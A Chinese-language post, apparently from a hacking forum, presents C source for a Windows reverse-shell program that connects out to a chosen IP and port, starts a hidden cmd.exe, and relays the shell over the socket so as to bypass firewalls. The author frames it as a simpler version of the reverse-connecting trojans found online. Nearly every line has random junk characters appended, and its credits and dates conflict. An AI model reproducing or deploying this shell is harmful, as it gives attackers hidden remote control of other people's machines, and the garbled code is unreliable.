这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =UM30
P/
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/* ============================== uqXvN'Jr
Rebound port in Windows NT 4!XB?-.
By wind,2006/7 ow>^(>^~
===============================*/ Ym8G=KA
#include O0i_h<T
#include KArR.o }
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#pragma comment(lib,"wsock32.lib") 5 nkx8JJ
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void OutputShell(); i"r&CS)sT
SOCKET sClient; cX>
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |Eu_K`
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void main(int argc,char **argv) /![S 3Ol
{ *rXESw]BR
WSADATA stWsaData; ?76Wg::
int nRet; 0gL]^_+7
SOCKADDR_IN stSaiClient,stSaiServer; x$[<<@F%
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if(argc != 3) &<_*yl p
{ A{bt
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printf("Useage:\n\rRebound DestIP DestPort\n"); qb]n{b2
return; UwvGw5)q
} \|F4@
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~>VEg3#F
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [V|,O'X ~
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stSaiClient.sin_family = AF_INET; _[<R<&jG
stSaiClient.sin_port = htons(0); N /p9Ws
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xdd7OSc0{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rr>QG<i;G
{ iKnH6}`?U
printf("Bind Socket Failed!\n"); r`qMif'
return; w4Qqo(
} [2pp)wq
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stSaiServer.sin_family = AF_INET; '_lyoVP
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L'BDS*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5bYU(]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >XcbNZV
{ "o2p|2c
printf("Connect Error!"); GpMKOjVm|
return; `MAee8u'
} X/gIH/
OutputShell(); gbsRf&4h
} y>Zvos e
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void OutputShell() 1P.
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{ K_{f6c<
char szBuff[1024]; HJhPd#xCW
SECURITY_ATTRIBUTES stSecurityAttributes; jL(=<R(~y
OSVERSIONINFO stOsversionInfo; {>H#/I8si
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6vbWe@#U/
STARTUPINFO stStartupInfo; nfJ|&'T
char *szShell; >@KQ )p' `
PROCESS_INFORMATION stProcessInformation; CoDu|M%
unsigned long lBytesRead; ?&I gD.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M#LQz~E
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LZch7Xe3
stSecurityAttributes.lpSecurityDescriptor = 0; jJkM:iR
stSecurityAttributes.bInheritHandle = TRUE; D9zw' RY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lhw]?\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fq!12/Nn
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %Koc^
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4:q<<vCJv
stStartupInfo.wShowWindow = SW_HIDE; kMWu%,s4
stStartupInfo.hStdInput = hReadPipe; bj\v0NKN4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o,[~7N
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GetVersionEx(&stOsversionInfo); S+py\z%
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switch(stOsversionInfo.dwPlatformId) :@jhe8'w
{ f{xR
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case 1: EAn}8#r'(8
szShell = "command.com"; >y m MQEX`
break; U_v{Vs
default: /+l3
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szShell = "cmd.exe"; S+3'C
break; z`qBs
} hLPg=8nJ_
;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); RIOR%~U
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send(sClient,szMsg,77,0); Genk YtS
while(1) e48`cX\E
{ YLmzMD>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .281;] =
if(lBytesRead) ] as_7
{ #t:]a<3Y2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `2c>M\c4U
send(sClient,szBuff,lBytesRead,0); -CfGWO#Gbx
} Zx,R6@l
else E{kh)-
{ AWHB^}!}
lBytesRead=recv(sClient,szBuff,1024,0); e:hkWcV
if(lBytesRead<=0) break; <MZ$ baK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &dF$:$'s
} 4o8uWS{`
} 5W"nn
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return; Q}FDu,
}